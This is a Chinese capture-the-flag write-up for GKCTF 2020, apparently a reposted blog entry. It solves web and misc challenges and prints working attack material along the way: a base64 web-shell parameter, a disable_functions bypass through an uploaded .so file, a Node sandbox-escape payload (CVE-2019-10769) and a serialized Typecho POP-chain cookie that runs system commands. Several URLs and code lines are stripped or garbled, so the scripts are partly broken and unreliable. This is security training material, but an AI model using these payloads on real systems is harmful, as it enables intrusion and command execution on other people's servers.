GKCTF部分题解

阅读: 评论:0

GKCTF部分题解

GKCTF部分题解

题解目录

      • web
        • ChickIN
        • 老八小超市儿
        • CVE版签到
        • EZ三剑客-EZweb
        • EZ三剑客-ezNode
        • EZ三剑客-ezTypecho
      • MISC
        • Pokémon
        • code obfuscation

web

ChickIN

代码审计

<?php 
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();

可以看出只要传参Ginkgo就可以执行代码。
看看disable_fuctions

发现大部分系统命令执行都被ban了,也就是说无法getshell。
于是我们再写个小马,传入到Ginkgo上,看看能不能用蚁剑连上去(本来可以修改编码后直接连的,但我没有成功,就干脆整了个小马)
Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=phpinfo();
测试后发现可行,于是用蚁剑连上。

flag无法读取。
看见根目录下有个readflag,应该是要我们想办法运行readflag。
这个其实和去年geek的RCE_ME很类似,需要我们利用.so文件劫持系统函数,绕过disable_functions。
原理如这篇文章所示
具体做法如下:
我们将这里的bypass.php和github上的bypass_disablefunc_x64.so文件一起上传至/tmp文件目录下,传参

Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=include("/tmp/bypass.php");&cmd=../../../../readflag&outpath=/&sopath=/tmp/bypass_disablefunc_x64.so

即可得到flag.

老八小超市儿

一开始是很艰难的,直到工作室的师傅找到了这样一篇文章然后就可以直接上蚁剑了。
在根目录下看到flag文件内容:flag{this_is_fake_flag/true_flag_in_/root}
发现权限不够,又发现有个auto.sh的文件,内容如下:

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这个auto.sh文件应该是root权限,我们权限不够,无法编辑。
于是我们找到makeflaghint.py文件内容如下:

import os
import io
import time
os.system("whoami")
gk1=ime())
gk="nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

修改一下,利用os.listdir()来读去root目录,然后再读取flag内容即可得到flag。值得注意的是,根据auto.sh可以知道我们是每60s运行一次py文件,所以最好先在本地跑一跑,不然一次一次试会很麻烦。

CVE版签到

题目提示了CVE-2020-7066
进去点击之后如下:

抓包后得到hint:

于是用该cve得到下面的画面

记得一定要对进行URL编码
看到tips,得到payload:?url=127.0.0.fhub即可得到flag。

EZ三剑客-EZweb

点进去,F12看到提示:

eth0      Link encap:Ethernet  HWaddr 02:42:ad:62:04:0a  inet addr:173.98.4.10  Bcast:173.98.4.255  Mask:255.255.255.0UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1RX packets:93 errors:0 dropped:0 overruns:0 frame:0TX packets:116 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0 RX bytes:16125 (16.1 KB)  TX bytes:18113 (18.1 KB)lo        Link encap:Local Loopback  inet addr:127.0.0.1  Mask:255.0.0.0UP LOOPBACK RUNNING  MTU:65536  Metric:1RX packets:24 errors:0 dropped:0 overruns:0 frame:0TX packets:24 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:1376 (1.3 KB)  TX bytes:1376 (1.3 KB)

试试173.98.4.11,发现刚好在这个机子上:

然后是猜测端口,猜测6379端口(redis)或3306端口(mysql)。发现是6379端口。

现在我们打断一下,先了解一下gopher协议。

再看看一个我找来的gopher协议包的内容:

gopher://127.0.0.1:80/_POST /index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Cookie:PHPSESSID=1f546328759632456215236845122365;
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:null
Transfer-Encoding:chunked

可以看到,它和http协议十分相似,但要注意的是,回车换行需要使用%0d%0a,参数之间的分隔符也用URL编码。
接下来参照这篇文章的方法即可得到payload。

EZ三剑客-ezNode

这题关于一个CVE:CVE-2019-10769,用这个payload打就可以了

#GKCTF2020 web eznode
import requests
print(requests.post('=2147483650', data={
'e': """(function () {
const process = structor("return process;")();
return quire("child_process").execSync("cat /flag").toString()})()"""}).text)
EZ三剑客-ezTypecho

这题主要的考点有两个,一个是在install.php的230行

因为没有session_start(),所以我们要用下面这种方法进行绕过

另一个就在下一行的unserialize(),这个直接搜索Typecho反序列化就可以找到一大堆poc。
然后写个py脚本发包就行了:

#GKCTF2020 web EZTypecho
import requestsurl = ".php?finish=1"
files={'file':"123"}
headers = {'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtOO3M6MjA6IgBUeXBlY2hvX0ZlZWQAX2l0ZW1zIjthOjE6e2k6MDthOjU6e3M6NDoibGluayI7czoxOiIxIjtzOjU6InRpdGxlIjtzOjE6IjIiO3M6NDoiZGF0ZSI7aToxNTA3NzIwMjk4O3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6ImNhdCAvZmxhZyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czozOiJRQVEiO30=','Referer':'.php'}
re =requests.post(url,files=files,headers=headers,data={'PHP_SESSION_UPLOAD_PROGRESS':'1233456'})
)

MISC

Pokémon

根据提示,在游戏中前往108号大道,树的样子就是flag。

code obfuscation

分离出一个加密过的rar文件,有加密,先放一放。
打开图片,发现是一个二维码,但歪了,我们在ps里,用Ctrl+T将它矫正,然后用在图像->调整->色阶中把左边的色阶拉满,效果如图:

扫出来是base(gkctf)。
也就是说压缩包密码是经过base编码的gkctf,在测试了所有的base编码之后,发现是base58编码。
base58在线解密网站:.html
打开压缩包后发现两个文件。
打开文件1,发现一长串经过js压缩加密混淆的代码,通过在线解密后,得到下面的代码:

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z 
do 
eval An="n"
done 
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
do 
eval An="n"
done 
num=0 
for n in a b c d e f g h i j 
do 
eval Bn="n"num=$((num+1))
done 
alert("Bk='';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")

看看flag3.png

解密后得到flag。

本文发布于:2024-02-03 06:08:42,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170691172249143.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:GKCTF2020
标签:题解   GKCTF
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23